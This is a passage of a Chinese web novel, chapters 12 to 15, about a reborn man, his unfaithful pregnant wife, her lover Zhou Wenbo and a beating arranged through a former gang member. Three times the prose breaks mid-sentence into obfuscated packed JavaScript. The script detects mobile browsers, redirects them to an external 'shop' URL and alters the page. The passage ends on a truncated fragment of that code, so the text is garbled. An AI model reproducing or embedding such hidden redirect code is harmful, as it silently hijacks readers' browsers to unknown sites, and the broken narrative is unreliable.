“你是不知道,我爸那家伙,今天可得劲儿了,”陈牧德想到就嘎嘎乐,“约了几个老爷们打牌,我妈让他去菜园子摘辣椒,他听都没听清楚。” “跑过去摘了把葱回来哈哈哈哈哈哈”陈牧德想起自己老妈那发黑的脸就忍不住发笑。 为了避免殃及鱼池,他及时的在吃完饭后跑出来。 说着,陈牧德又说了几个老父亲刚才的糗事,边说边乐。 乐完了,发现不对劲儿了,陈牧德看向双手枕在后脑勺,正躺在床上看着天花板的人,摸摸鼻子。 “放哥,想什么呢?” 唐放这次听到自己名字,瞥了陈牧德一眼,没说话。 陈牧德更好奇了,一只手扒上床沿,凑过去,像只闻着骚味儿的狗,挤眉弄眼贱兮兮的。 “想啥呢?说说呗,又掉不了两块肉,说出来我还能帮你分析分析。” 唐放又瞥了他一眼,他视力很好,陈牧德臂膀上的汗珠还没被风吹干,正挂在身上,要掉不掉。 唐放:“……” 这忍不了了,他脚作势要蹬过去,陈牧德反应速度极快,身体向后仰,瞬间脱离床沿。 完美达成任务,唐放慢吞吞收回脚,瞥了陈牧德一眼,眼中威胁不言而喻,“别扒在我床上,脏。” 陈牧德:“……”你自己都没洗澡,怎么好意思嫌弃我身上有汗? 不过他不敢怼唐放,只能委委屈屈再度躺木板上。 回想着白天他爸做的事儿,越想越乐。 不知过了多久,就在陈牧德看着那昏黄的灯泡,即将昏昏欲睡时,唐放说话了。 “周佳佳那边儿的装修,过两天你和另外两个人去做,我看过了,按照原先的设计刚刚好。” 陈牧德抹了把淌下嘴角的口水,“好。” 又过了一会儿,唐放像憋不住了似的。 “你说,怎么会有个人,做个事儿,都能让人移不开眼呢?啧!” 陈牧德来精神了:“……” “……谁啊?” 唐放坐起身,灯泡在头顶晃荡,刺眼得让陈牧德看不清他的脸,只能模糊看见他抿着要弯不弯的嘴角。 “嗤,我问你,你要是意外发现老婆出轨,肚子里不是你的孩子,你会怎么做?” 陈牧德大概知道是谁了。 “这不可能!再说我都没结婚,谁给我带绿帽子啊?” “周梅。” 陈牧德:“……” “……放哥,你这有点过分了奥,笑话?我能娶到周梅?” 唐放没想到,这时候这小子对自己竟然有了如此清晰的认知,“……我是说假如!” “那没可能!李丽华怎么能和周梅比,一个天上一个地下的!”闻言陈牧德更是不屑。 陈牧德坚决不承认自己会有被带绿帽子的可能,并单方面终止这个话题。 得。 唐放又站起身,踢踢陈牧德四仰八叉躺在地板上的腿,下巴扬了扬。 “走。” “干嘛?” “洗澡。” 陈牧德后知后觉跟上唐放的脚步,他觉着今天的放哥状态特别像村头那个三十年没讨到老婆的老拐杖,神经兮兮的。 谁大晚上去河里头洗澡? 但凡早点儿,下午太阳晒得你头昏脑胀的时候过去,他都没意见。 河不是大河,只是几米宽的溪,和李家湾门口流的那条是同一条,一个算是上游,一个是下游。 这时候溪里最深的地方,不过刚沒过成年男性的膝盖。 “放哥我给你说,白天不少小孩子在水里游泳洗澡呢!” “?” “我看见好几个遛鸟,在岸上撒水,比谁撒的远,你说咱这不会碰上吧。” “……滚。” 感情这尿是石头,沉水底了还冲不走的?唐放觉着陈牧德能问出这个问题,也是个傻|逼。 有时候身边傻|逼多了,遇见个不是傻|逼的,就显得那么惊艳。 晚上的水吸了白天的热,泼在身上,很快风一吹又把热意带走,又热又凉。 夜晚蚊子多,陈牧德把整个身体蜷缩在水里,就露出个脑袋,他放哥也真是不怕蚊子,光秃秃的肌肉就这样露出来了。 要是放白天,有姑娘经过,他铁定要离人远远的。 自己这三两肉,不成了陪衬吗! 陈牧德一个不小心手一滑,喝了好几口有机水联想到白天的小孩,脸绿了。 夜色沉闷,树梢上是撕心裂肺的蝉鸣声。 陈牧德朝拿出来放岸上的香皂摸索着过去。 很快,再度回来的陈牧德溅起水花,他语气中带着兴奋,不忘收敛声音。 “卧槽!放哥,你说我是不是有点子运气在上面的啊!大爷的又给我碰着了!” “?” “就是李丽华和周博文,这俩在上面的马路上说话呢!” 有时候吧,你就算不想听,人也逼着你不得不听。 唐放:“说什么呢?” 陈牧德:“那这我不知道,我就听见熟悉的声音一下子有点震惊,就过来了!放哥,你等着,我这就过去听听他们说啥!” 好半响儿后,陈牧德回来了。 “卧槽!这周文博牛逼啊!没想到这人这么狠,让李丽华去打胎!那可是他的孩子啊!” 陈牧德一回来,就是震惊加佩服好半天,完全没说到重点。 唐放不耐烦打断他,“说重点!” 对上唐放眉间的川字,以及眯着的眼睛,陈牧德咽了咽口水,很识时务。 兴奋没过去,他开始一边学着周文博说话,一边学着李丽华。 很快,唐放搞明白了事情经过。 大概意思就是,周文博劝李丽华打掉孩子,他觉着去一趟医院就发现了,大概率是孩子出了问题,只要解决问题,自然就迎刃而解。 李丽华则是不同意,估摸着是哭了,说这个是她的孩子,是他们爱情的结晶,怎么可以打掉。 一边儿是极力劝解,一边儿是不肯打孩子。 周文博作为一个男人,面善心黑,一张嘴能把女人捧得东南西北都找不见,一个未出世的孩子算得了什么? 又不是他生,更不是他孕育,有没有毫无感觉。 李丽华作为一个女人,一名母亲,更感性一些,怀孕几个月,她真真正正期待着孩子的降临,怎么会同意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434426|141455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 双方出现偏差,自然而然吵了起来,陈牧德在底下听得心花怒放,笑得合不拢嘴。 唐放沉默片刻,“陈浪还在县里吧?” 陈牧德面色一凝,“他还在,咋了?” 唐放将湿哒哒的上衣拧干,“给他说声,让帮忙教训个人。” “……周文博?” 唐放没说话,丹凤眼看向陈牧德,意思很明显。 陈牧德咽咽口水:“好。” 陈浪是谁?他有所耳闻,这人在以前在道儿上混的,认识很多朋友,后来国家对这类人打击的很厉害,也就慢慢的散了。 现在人在小学门口开店,卖小学生文具,别看看上去普通老实一人,放哥之前那些个极品亲戚,私底下都有他收拾的影子,说实话,陈牧德挺怕他的。 他默默为周文博默哀一分钟,咋就得罪了放哥呢? 放哥收拾人可有一百种办法,还让你挑不出错处。 “走吧。” 陈牧德伸手挠挠后背,跟在唐放身后走了。 穿过马路,漆黑的一片让偷|情的男女影藏在夜色中,不见一丝身影。 黑暗中,周文博此时对一直哭个不停的李丽华也有些不耐烦了。 不就是打个孩子吗?怎么就那么难了? 要不是这事儿要是捅出来,他那边儿就黄了,他可不会大晚上还出来想办法解决这事儿! “你!” 心中就算如何不耐烦,周文博知道,这时候绝对不能表现出来。 女人就是这种生物,稍微大点声儿就觉着你凶她,要是还不耐烦,她能转头就跟别人哭诉,把事儿给捅出来! 深谙和女人的交流之道,周文博放软声音。 “你别哭了,丽华,你再哭我心都要碎了!” 周文博本身长得就好,气质又像那种女人最喜欢的知识分子,一顿输出加表态后,终于把李丽华哄好了。 李丽华最后还在犹豫,不死心道:“就不能把这个孩子留下吗?一定要打?” 周文博快要被这个蠢女人气死了。 很明显人都知道了,哪个男人受的了这样的委屈?到时候身败名裂她是一点都不考虑啊! 周文博脸皮扭曲了一下,很快恢复笑容,带色些苦涩:“丽华,我知道你也很舍不得这个孩子,但你要知道,现在不丢掉这个孩子,我们就没有以后了!” “相信我,我们未来还有很多个孩子!” 李丽华掩面而泣。 周山妹不知道白天发生了什么,两个出去半天没回来,先是侄子回来了,她想问丽华去哪儿了,却得到侄子的安抚,让她先去休息。 可她怎么睡得着啊! 怀着孕的人没回来,她怎么睡得着! 在床上翻来覆去好几次,周山妹再也忍不住的坐起身。 她摸索着开灯,轻声打开门,正巧碰上红着眼眶回来的李丽华。 周山妹松口气,赶紧上前:“哎哟!丽华,你怎么回来的这么晚?是发生什么事儿了吗?” 这一上去,周山妹就见到了李丽华红着的眼眶,以及她眼里触目惊心的恨意。 吓得她一哆嗦。 “这,这是怎么了?” 不问还好,一问李丽华的眼眶更红了,她咬牙,怒气喷泄而出。 “想知道,问你侄子去吧!这都是你侄子干的好事!” 13. 第 13 章 周山妹一晚上没睡着觉,脑海中满是李丽华朝她吼出的那句话。 女人对女人的处境最为共情。 周山妹觉得自家侄子变了,就从海城回来后,他对自己怀孕妻子爱搭不理,就连对方受委屈也冷眼旁观。 “我做错了吗?”她不仅反思道。 “或许我不该让她们这么快结婚。” 这么年轻,连恋爱的滋味都没尝过就结婚了,难免感到新鲜后就后悔,侄子还是个孩子,丽华年纪也不大。 但总归是丽华吃亏些。 周山妹心中叹息,以后对丽华好些,明天再好生和侄子说道说道。 两个小时后,周山妹起床了。 农村的清晨蒙蒙亮,公鸡按首挺胸的鸣叫响彻天地。 周勃可没心大到再去和李丽华同睡一张床。 他是在后院的竹床上睡的,地下烧了一碟子蚊香,也没能阻止蚊子对他的热情,在他露出来的肌肤上送出一个个香吻。 捧了把水在脸上勉强恢复精神。 周山妹到后院儿放鸡呢,碰到周勃,瞧见后边的竹床:“你晚上睡这儿?” 周勃身形一顿,刚想着怎么解释,周山妹的脸黑了。 “一天天的,就这么嫌弃你老婆,连睡觉都不一起了!有你这么对你老婆的吗!” “不是……我……” “不是什么不是!你不是在这儿睡的,还是你对丽华没意见?” 周勃老实闭嘴,他确实对李丽华有意见。 周山妹更生气了,怕影响到李丽华睡觉,小声数落:“你说说你,不是小姑我说你,也就是你娶到了这么漂亮的老婆,人刚结婚就怀孕,眼看着就要生下你的孩子了,你就这么对她啊?” “人是倒了八辈子血霉才会嫁给你,你身为丈夫,一个既将父亲的丈夫,你要有责任!” 周勃静静的听着,他摸摸鼻子,想着要不要现在就告诉小姑得了。 这种苦口婆心的话语,非但没让他感觉烦躁,更有种说不出的怀念,记得小时候他做错事,小姑就是这样数落他的。 那时候他不服气,迫于对方的武力压制只能乖乖闭嘴,后来据小姑说,他的嘴巴撅起就差挂壶水了。 周勃对小时候的事儿没了印象,不记得这些事,都是小姑怀念时才会从口中透露出两句,原来他小时候是多么的调皮。 周山妹没想到,自己说了一通,周勃竟然还笑了,她赶紧摸摸周勃的额头。 “这没发烧啊!” “……” 周勃无奈失笑:“放心吧小姑,我们没事,只是有些事需要解决,这些事很快就会结束的。” “……真的?” “真的。” 李家栋来了,他黑着脸将女儿从周勃家院子拉走,不顾李丽华一直挣扎的手,强硬的将人拉上车。 周勃就在一边儿看着,这次李丽华出去,估计回来就是他们签离婚协议的时候。 “周勃啊,这段时间辛苦你了,你替我向山妹问声好,也是我们太疏忽了,才会让丽华变成现在的样子!”李家栋走之前嘱咐道。 周勃笑道:“放心吧叔,我会和小姑说的。” 全程,没有人在乎李丽华的挣扎,直到被塞上车,李丽华这才慌了。 “爸!你再干什么啊!你别听周勃他乱说啊!” “他说什么了他乱说!”李家栋庆幸自己会开车,不然人都接不回来,见李丽华还在狡辩,气不打一处来。 “你是没和周文博在一起过,还是你怀的不是周文博的孩子??” “人医生开的单子都出来了,清清楚楚明明白白写着你怀孕四个多月,怎么人周勃在海城就和你在一起了?” 李家栋又是一阵气,他自认为自己是精明的,没想到生出这么个蠢女儿! 铁证如山,人为了怕让你丢面子才和他这个老父亲说,结果还看不明白。 李丽华睁大眼睛,周文博和她分析过,周勃知道了可能是真的,但没说周勃有证据啊! 想到这里,李丽华不知怎的生出一股子喜意。 这是不是意味着,她的孩子不用死掉了? 李家栋继续输出。 “你明天就给我去医院,把孩子打了!然后和周勃离婚!” “我不!”李丽华下意识回答。 李家栋一个眼神飞过来,像是要喷火。 “……婚可以离,但是孩子,我不打。”李丽华越说越小声。 “你不打!你不打留着干什么!!等着别人指指点点吗!你不要脸,我和你妈还要脸呢!!” “你就知道你们的面子!”李丽华听着这话不舒服,眼眶红起来倔犟道:“你们从来不关心我到底需不需要,这是我和文博的孩子,我们期待了这么久,当初要不是你们反对,我早就嫁给文博了,哪里来这么多事!” 李家栋快被李丽华气死了,他那是反对吗?他是对周文博那家伙了解得彻底! 这人脚踏不知道多少艘船! 表面上和你在一起,私底下又偷偷约着其他姑娘,不知道被他看见多少回! “那是你们对他有偏见!”李丽华激动的反驳,“文博那么好的人,怎么可能脚踏多只船!” “再说了,那是他太优秀了,别的女人太无耻一直纠缠他!你就是只相信自己看见的,我说的就一点都不信!” 李家栋真的要被自己这个女儿蠢的气死了。 “你要不要听听自己在说什么?” “我不相信亲眼见的,难道还听你嘴巴说的?” “我的意思是说,你宁愿相信你自己的谎言,也不愿相信自己的亲生女儿!” “……你别说了,我话就撂在这儿了,你和周文博那小子,没可能!要真的和他在一起,那就别认我和你妈了。” 李丽华用不可置信的眼神看着李家栋,仿佛他说了多么冷酷无情的话,见他始终冷着脸,李丽华也是心下一狠,一抹眼泪。 “既然你说了,那就没办法了!” 李家栋满脸震惊:“你——” …… 周勃送走李丽华这个麻烦,心中很是松快,决定去县里买几个小姑爱吃的菜,晚上好好和她说说李丽华的事。 这事是瞒不久的,要是让小姑从其他人那儿知道,自己的好日子怕是到头了。 县里,集市还是同样的嘈杂,叫买声不绝于耳。 周勃是坐公交来的,这两天天麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434427|141455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦唐放已经很不好意思了。 要是和李丽华的事顺利解决,再怎么也要请唐放吃顿饭。 很快,周勃买好了菜,菜都是现做的熟菜,打包了饭和菜,他又买了几瓶啤酒。 回去路上,碰巧,遇到了眼熟的人。 周勃眯着眼看着不远处的人。 周文博的样子曾经经常以不可描述的姿态出现在他梦里,就算年轻了几十岁,周勃还是一眼认出他。 此时的周文博正一只手摁在墙上壁咚着一个姑娘,姑娘脸颊绯红,显然是没接过这招儿,扭扭捏捏就是不看周文博。 这给周文博得意的,嘴角露|出歪笑,估摸着想学电视剧里,没学到精髓,看起来像嘴歪了一样,好在姑娘害羞,没看他。 周文博有着独一手把妹绝招,他自己深为骄傲。 就在此时,一股音乐从周文博的屁|股的鼓囊后传出,周勃十分熟悉。 “不问你为何掉眼泪~” “不在乎你心里还有谁~” …… 周勃:“……” “艹!周文博这家伙哪儿来的钱啊!” 周勃看过去,又是一个熟悉的身影蹲在转角——陈牧德。 他此时张大嘴巴盯着周文博的屁|股,哪里藏着的,估计是个磁带播放器,少说得有上千块钱。 “请让我给你安慰~” “不论结局是喜是悲~” 不得不说,这首歌放哪儿都是王炸,现在的流行歌,后世的经典歌。 周文博这家伙是懂BGM的,把妹还知道放歌。 周勃眼睁睁看着那扭捏的妹子脸更红了,看向周文博的眼里仿佛冒着星星。 陈牧德看呆了,口中棒棒糖掉在地上:“……艹!” 什么时候把妹这么简单了。 陈牧德不可置信,看看周勃,又看看周文博,想说些什么,憋了半天,只缓缓吐出几个字:“这小子,真tm是个人才。” “不去做鸭可惜了。” 周勃赞同的点点头。 后面的周文博,就是靠着女人发家,从县长的女儿到书记的女儿,再到某富豪的女儿,一撩一个准,硬生生靠着女人积累了第一桶金,在时代飞腾的年代实现财富自由。 “可惜了。” 周勃挑挑眉,“怎么了?” 陈牧德挠挠后脑勺,“他那个磁带播放器,不知道啥牌子的。” 周勃更是不解:“?” 这事儿不好说,总不能说他放哥让人教训这小子吧,陈牧德也不知道咋解释,只能递给他一个只可意会不可言传的眼神。 很快,磁带卡住了。 不知从哪儿冒出来的大汉,一拳打在周文博脸上,突如其来,周文博毫无防备屁|股着地,屁|股尖儿在地上摁了好几圈。 几声磁带转动的声儿断断续续,连带着张信哲的歌声开始重复“我的爱如——”。 “我的爱如——” “我的爱如——” 最后戛然而止。 倒是周勃身边儿的陈牧德乐呵呵,十分神情的唱完了。 “我的爱如潮水~爱如潮水将我向你推~” “下次,我也试试!” 14. 第 14 章 “试什么?” 陈牧德笑笑,不说话,当然是试试周文博这崽种撩妹的手段啊! “对了,周勃哥你怎么在这儿?” 周勃向他扬了扬手上的袋子,“你呢,那边是怎么回事?” “什么啊?” 周勃笑眯眯:“周文博,那几个是你找的吧。” 陈牧德额角落下一滴汗,“你在说啥啊周勃哥,我怎么就听不明白呢?” “别装傻,这几个人就算不是你找的,和你也脱不开关系。” 陈牧德没想到周勃这么精明,知道是瞒不过他了,“那我告诉你,你可别说是我告诉你的啊!” 在陈牧德的灼灼目光下,周勃点头。 “这事儿吧,其实也怪周文博这小子太那啥了,”陈牧德把晚上和唐放听见人说话的事儿从头到尾全盘托出,“这没办法啊,放哥最讨厌的就是这种不负责任的小人!” “再加上,放哥自己又认识那么点儿人,这不就巧了吗?”陈牧德嘿嘿一笑。 远处的周文博此时抱着头蜷缩在地上,嘴里大喊着:“你们到底是什么人?!知不知道乱打人是犯法的!!” 其中一个大汉收脚,大手用力,轻松将人提溜起来,看着周文博瑟缩着颤抖的模样,大汉冷笑一声,啐了一口:“连自己得罪什么人都不知道,真的是活该!” 一拳又打在周文博的腹部,疼得他捂住肚子,一脸痛苦面具。 这样的大汉还有三个。 周文博怂了,双手合十,连连求饶:“我错了!我知道错了,放过我吧!” 大汉:“哼,现在才道歉?” “没用!” 三拳两脚齐刷刷落在周文博身上,让他连求饶的机会都没有。 一旁周文博撩的姑娘此时已经看傻眼了,整个人用手臂捂着耳朵蜷缩在角落,她今天才是第一天认识周文博,本以为属于自己的白马王子要来了,还有些期待。 现在这姑娘简直是欲哭无泪,只期望这些大汉不会抓无辜的人撒气。 周勃看着这些大汉你一拳我一脚,拳头像雨点般落下,中间的周文博只来得及发出惨叫。 “这没事吧?”周勃皱眉。 陈牧德道:“周勃哥,放心吧,他们打人都是老手,有分寸的,别看周文博这小子叫得惨,估摸着身上啥事儿没有。” “打的地方都是暗伤,看不出来的,也就是痛一些。” 周勃点点头,他不再看周文博了,十分平静:“所以这些人都是唐放找的?” 陈牧德连连摆手:“不是不是不是,怎么可能,放哥他是以前认识个道儿上混的大哥,这才有的人脉!” 说到这儿,陈牧德念头一转,他觉着放哥既然这么喜欢这个周勃,不如把他介绍给人认识认识,说不定陈浪哥也喜欢他呢? “对了,周勃哥,你要不要去看看啊?放哥也在那儿!你们说不定有话题!” 这虽说不是他找的人,但人家确实为他出头了,这么个人情,他得认下。 周勃欣然答应。 他跟着陈牧德走了。 陈牧德领着人经过小学旁的小巷子,又穿过好几条巷子后,敲开紧闭的木门。 “嘎吱”一声,门张开条嘴巴缝儿。 一个小萝卜头在门缝扒拉着,小手上带着袖套,一团鼻涕在鼻尖要掉不掉,萝卜头另一只小手一擦,在袖套和小脸上留下一路湿漉漉的痕迹。 她大概是不认识陈牧德,黑溜溜的大眼睛盯着人,细小的眉毛像是两条毛毛虫,用力挤出川字,做出严肃的表情。 声音还没断奶,说话含糊又慢。 “你,你是,谁?” 陈牧德笑眯眯的,像个猥琐大叔,看起来十分喜欢这个小萝卜头,夹着的声音就跟宫里断了根的太监一样细腻。 “我是你爸爸的朋友,放我进来可以吗?” 萝卜头似乎还在想爸爸的朋友是谁,不过她的手已经抓不住门框了,又是“嘎吱”一声,门笑呵呵大张,像是欢迎人的进入。 萝卜头慢吞吞道:“糖,糖放。” “对对对!”陈牧德继续夹着声音:“唐放哥哥也是我的朋友。” 周勃见证了全过程,以及在门大开后,和内里的两人也对上视线。 院子里两个人正坐在树底下,一个他很熟悉,就是唐放,另一个留着短短胡茬,身形丰硕,圆润的肚皮让人看起来老实和蔼,这人目光正放在陈牧德身上,目光幽幽。 对此陈牧德一无所知,还一个劲儿的逗着人宝贝姑娘。 周勃轻轻踢了陈牧德一脚,清咳两声,先他一步走进院内。 周勃生得好,走路挺拔,一张笑人脸让人瞩目,很快将陈浪的目光吸引过来。 陈浪能有曾经的位置,自然不是个蠢人,他笑着转头看向唐放:“就是这个人?”让你给我打招呼? 唐放此时也看着周勃,和周勃笑眯眯的模样不同,他笑起来总有股蔑视他人的嚣张意味,丹凤眼暼人,再配上好身材,就有种大哥的感觉。 这就导致,恨他的人容易受到挑衅更恨他,喜欢他的人更加喜欢他这股气质。 陈浪就是属于喜欢他的人。 道儿上混的都讲义气,唐放天生就有种让人心服的气质,吸引着一众人,更别说这种人还有能力,讲义气! 了不得了。 与之相反,陈浪就不怎么喜欢这个朝他们走过来的人。 穿着衬衫西裤,笑得很像那种他见过的成功商人的虚伪味道。 这种人,做事讲究利益,和他们最合不来。 “是他。” 等周勃走近,唐放收了收嘴角的笑,给双方介绍。 很是普通的介绍,陈浪因着第一印象,脸上笑容淡了些,只因为是唐放介绍,才没完全冷着脸,简单的点头算是认识了。 周勃是谁?前世那么多年,他对人的情绪敏感异常,知道这个所谓的曾经的道儿上大哥可能不怎么喜欢自己,他借口上厕所离开了原地,“我去上个厕所。” 等他的身影消失不见,陈浪意味深长道:“唐放啊,你这个朋友有点东西啊!” 唐放从裤兜里摸出支烟递给陈浪,遭到对方拒绝。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434428|141455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戒烟了,小朋友不喜欢。” 唐放自己点燃吞云吐雾,“人是海城大老板,能做商人的,都那个样儿。” “和我们可不一样。”陈浪意有所指,商人重利。 “放心吧!”唐放笑了下,拍拍陈浪的肩膀,“你还不知道我吗?我像是会吃亏的那种人?” 陈浪略一思索,好笑的发现,确实是那么回事,不管不怀好意的人,还是其他人,对上唐放从来没讨到好。 失笑的摇摇头,陈浪没在想周勃了,自己都没搞清楚呢,他向着还在门口的萝卜头招手。 “珍珍!过来。” 珍珍听见自己的名字,转头就见爸爸在招手,她啪塔啪塔踩着步子摇摇晃晃走过去,期间一个不小心绊倒,一头栽在地上,吓得陈牧德呼吸能一变,立马就要上前把人扶起来。 他的动作遭到了陈浪的阻止,苦于对方是小姑娘的爸爸,陈牧德停下步伐。 想象中的哭泣没有传来。 小姑娘像是摔习惯了,慢吞吞的爬起来继续走。 等到了陈浪面前,露出大大的笑脸,在陈浪将自己抱起来后小脸一变,小嘴一憋开始委屈了,指着刚才把自己绊倒的地方,模糊不清的咿咿呀呀,不见丝毫最开始语言的清晰。 可以知道,这小孩,估计骂的很脏。 唐放从头看到尾,陈浪就这一个女儿,疼得跟眼珠子一样,却还是能狠下心教育,就是因为他想要女儿以后能够成为主宰自己人生的人。 …… 这是座老房子,周勃在后面逛了一圈得出这个认知。 不是那种七八十年代修的砖瓦房,它更加古老,掉落的砖块和腐朽的木头显示着它的年代。 当然,这不是周勃最上心的,他做的房地产,最擅长的就是评估一块土地的价钱。 现在这片土地或许是一文不值,但周勃知道。 在未来,县变成市,这里就是市中心的黄金地段。 唐放找到周勃的时候,他正靠在墙上抱着手,一只手里夹着烟,细细的烟雾从燃烧的香烟上升腾,最后化为空气的一部分。 周勃似乎没注意到唐放的到来,他的目光虚无,像是陷入深深的回忆。 烟头燃烧到指腹都没发现。 唐放挑眉,顺势抽走他指缝的烟,侧身靠在周勃身侧的墙上,这人是真的一点没察觉。 离得近了,他更能清晰的看见对方的脸。 不知是怎么保养的,皮肤洁白,莫名让唐放想起了以前被陈牧德看过的片子里,那个日本女人洁白饱满的胸脯。 至于女人长什么样子,他是真给忘了,只记得对方宛转细腻的叫声,跟唱歌似的起起伏伏。 还有那白得闪瞎人的胸脯,就是不知道周勃的脸和对方,谁更白,唐放百无聊赖的想着。 他收回心绪,手在周勃眼前晃了晃,唐放乐了。 “想什么呢?”唐放淡淡道。 周勃收回思绪,一眼看到唐放放大的脸,瞳孔骤缩,好在他是见过世面的,不动声色后退一步,嘴角抽抽,“你怎么来了?” 还靠这么近。 15. 第 15 章 “到处走走。”唐放随口道。 他其实就是来找周勃的,以周勃的眼力,不可能看不出陈浪对他的冷淡,唐放就是想过来看看他在干什么。 周勃扫了眼唐放,这人真是他重生后见过长相最为优越的人了,还有着属于自己的气质特点,他笑笑扬扬下巴:“不和大哥继续聊天了?” “什么大哥,”唐放失笑,“他正哄着他那宝贝女儿呢!” “羡慕?” “还好。” “羡慕就赶紧找个女朋友结婚。”周勃提出建议。 这提议挺好,唐放没当回事儿,“没办法,人看不上我。” 周勃想起对方的神操作,“……” “那是人没入你的眼。” 唐放哼笑两声,“什么入不入眼,当我是法海啊?” 周勃一愣,随后嘴角忍不住上勾:“可不是嘛,法海不懂爱嘛。” “……” 要别人这么调侃他,唐放指不定一个眼刀送过去了,也就是周勃了,他的脾气出奇的好,瞥见对方嘴角的笑,自己忍不住也勾起嘴角。 双方看到对方的笑,俩人都乐了。 等到收住笑,唐放这才有点好奇:“你怎么想着过来?陈牧德那小子带你来的?” 周勃眼睛都没眨,将陈牧德卖得干干净净,他说起在路上碰见周文博被打一事,“谢谢你了,下次请你吃饭。” 唐放脸一黑,本就没打算让本人知道,这知道了不就像邀功一样吗? 心里骂了句陈牧德,嘴巴就像那粪坑,砸下去准儿溅起人一裤脚,唐放面上不显:“多大点儿事儿。” “都让我知道了,”周勃淡淡笑道:“我又不是不知好歹的人,人情记住了。” 这话听着正常,唐放却觉着有些不舒服,他眼帘半垂,语气平淡:“说这个干嘛?我又不是为了要你的人情。” “那是为什么?”周勃一顿,看向唐放。 这时候做事讲究人情,一来一回就熟了,谁也不是欠谁的,自然想的是这次我帮你,下次你有能力就帮我。 嘿!这还是头一次见不要人情儿的。 唐放也纳闷,对啊,那是为什么? 咋越看周勃这人,心头越是敞亮,奇了怪了。 “交个朋友而已,哪来那么多人情儿。”唐放只能归咎于此。 周勃仔细打量了下唐放,这人依旧是那副模样,棱角分明的脸,高挺的鼻梁,丹凤眼每次看人都廷嚣张,这时候眼帘半垂少了些锐利,多了沉稳。 这时候周勃有些恍惚意识到,面前这个人,好像只是个和他年纪相仿的年轻人。 年轻人,重义气,没有成年人的弯弯绕绕,不会出现一句话拐三个弯。 周勃不自觉勾起嘴角,身体舒缓站直,“交个朋友啊?” “……” “也不是不行。” “?”唐放看着周勃那上下打量的眼神,气笑了,怎么,这些天他做了这么多事,先是那李丽华,后到了周文博,还托人帮忙教训,这到现在交个朋友成罪过了?? “答不答应,一句话,别磨磨唧唧。”唐放眯着眼睛,一副你不答应就死定了的表情。 周勃觉着他的后槽牙有些疼,以前没觉着唐放这么幼稚啊,还答不答应。 “好好说话,什么答不答应,整得跟求婚似的。”周勃没好气。 唐放一愣,什么求婚啊? 他见周勃那要起鸡皮疙瘩的样子,乐了,用看猪肉的眼神上下打量着周勃,像是再看那块肉好割,随后用一种吊儿郎当的语气意味深长笑道:“也不是不可以。” “……艹。” 许是唐放本就给他一种很随便的感觉,周勃忘了距离,一手勾住唐放的脖子,像是泄愤一般,一只手狠狠的揉搓他的脑袋,笑骂道:“让你乱说话!” “哈哈哈哈哈哈哈……” 唐放感受着头上气急败坏的力道,有种戳破对方面具的错觉,嘴角的笑容再也压不下去。 等到周勃放手时,唐放已经不成人形。 具体表现为杂乱的头发,潮红的脸,靠着墙半眯的眼,以及紊乱的呼吸。 周勃眼神很好,甚至还能看见对方鼻尖上细密的汗珠,晶莹剔透,汇聚成团顺着光滑的肌理向下流动。 有种,有种刚完事儿的错觉。 周勃咽咽口水,视线转向前方。 “给。” 不多一会儿,一支烟夹在骨节分明的大手中递过来。 周勃接过,点燃后,起伏的胸膛平静下来,“这院子是租的?” “不是,这是陈浪自家的,上一辈留下来的。” “刺啦。”滚轮打火机点燃的声音在耳边响起,一阵烟雾带着尼古丁飘散打乱周勃的思绪。 耳边低沉的声音继续。 “他之前在道儿上混,和他老婆是自由恋爱,后来严打,道儿上的人都散了,夫妻俩就在小学旁边租了个门面卖东西,挣钱不多,也算个活法,但他老婆身体不好,这几个月又加重了,估摸着最多过半个月就要带着人去外边看病去了。” 唐放抿了口烟,见周勃不说话,又道:“估计这房子和院子也得卖,用来作手术费。” 周勃“……卖?” “对。”唐放笑笑,他意有所指:“所以如果想买的话,那就尽快了。” 周勃一愣,他怎么知道自己想买?如果之前只有些想法,在听到唐放说要卖后,想法变为心动。 周勃站直身体,“确定要卖吗?” 现在买房子,在未来,这地方的身价可能会翻上十倍不止,这可是稳赚不赔的买卖。 唐放淡淡道:“肯定要卖的,不卖他老婆没钱治病。” 周勃了然的点点头,如果必须要卖房的话,这算是重生带来的福利吗? 唐放不管那么多,他的眼神藏着锐利:“不过既然你要买,价钱就要说清楚了,你应该能看出来这块地的价值,成交价至少这个价。” 他伸出两根手指。 周勃没傻乎乎到认为是两万的程度。 不过二十万,已经远远超出这个房子现有的价格,但是! 这不代表它不值钱。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 